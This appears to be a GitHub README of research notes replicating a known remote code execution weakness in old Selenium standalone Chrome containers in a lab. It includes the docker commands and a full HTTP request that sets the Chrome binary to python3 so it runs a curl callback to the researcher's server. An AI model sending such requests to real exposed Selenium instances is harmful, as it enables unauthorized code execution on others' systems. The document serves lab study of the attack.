Skip to content

BoredHackerBlog/selenium_code_exec_notes

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

6 Commits
 
 
 
 
 
 

Repository files navigation

selenium_code_exec_notes

Selenium Chrome 3.141.59 code exec notes

Note: this is not anything new. This repo just contains notes.

I was researching weird code execution alert in a selenium docker container. I'm surprised someone is running the old versions in 2024 and i'm even more suprised that someone is targeting this.

I started researching what the vuln could be and came across the following resources:

For fun/learning, I wanted to replicate it in my lab.

running the container

docker pull selenium/standalone-chrome-debug:3.141.59-20210929 
docker run --rm -p 4444:4444 selenium/standalone-chrome-debug:3.141.59-20210929

Container running:

image

poc execution:

image

curl request to my server from the container validating that we got execution:

image

docker logs:

image

HTTP request:

POST /wd/hub/session HTTP/1.1
Host: localhost:4444
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: text/plain
Content-Length: 199

{"capabilities": {"alwaysMatch": {"browserName": "chrome", "goog:chromeOptions": {"binary": "/usr/bin/python3", "args": ["-cimport os;os.system('curl http://192.168.42.130:8080/from_container')"]}}}

image

About

Selenium Chrome 3.141.59 code exec notes

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages